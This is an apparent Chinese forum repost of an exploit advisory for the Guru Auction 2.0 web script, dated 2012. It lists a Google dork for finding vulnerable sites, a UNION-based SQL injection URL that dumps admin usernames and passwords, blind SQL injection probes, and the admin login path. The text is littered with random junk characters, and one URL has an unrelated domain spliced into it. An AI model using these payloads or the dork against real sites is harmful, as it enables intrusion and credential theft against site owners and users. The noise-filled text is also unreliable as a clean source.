Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
: ~- t& u4 t9 o# Z8 H2 h: ]2 ?( P3 H4 f" H' X5 _
作者 : v3n0m" A4 M) o+ A/ L A& E
应用 : Guru Auction 2.00 D- `* @- l* q. i
Price : $496 J" r' v y% W, [
Vendor : http://www.guruscript.com/, q! t6 @' i$ y7 h2 h; `
Google Dork : inurl:subcat.php?cate_id=
- L6 n0 [8 D4 C7 G e6 D, F3 H6 R, G" q
SQLi p0c:7 N5 }% W3 |7 O
~~~~~~~~~~
/ w. Y& P( K+ z+ Phttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--6 j$ y9 Q' T) j- A
& [+ d4 W3 R$ [
/ j0 K4 X7 o) E8 A, g
盲注 p0c:! }- \2 F% m) w! ]/ n7 }4 l9 q
~~~~~~~~~~7 |4 L8 L) o0 B- g/ ^5 O/ q3 g( n
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true1 r+ y% K3 P* y# l
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false5 m/ f* X( L# i9 t" H) p5 V
& S4 S: E( [, \9 d) w, Y5 z管理登录入口:
7 W; g6 T! {- m0 j& x: y4 c~~~~~~~~~~
$ F+ W0 W+ p6 y! M0 Vhttp://domain.tld/[path]/admin/: J/ U+ ]6 D$ g% w% L Y, V
|
发表于 2012-12-31 09:24:05
收藏
支持
反对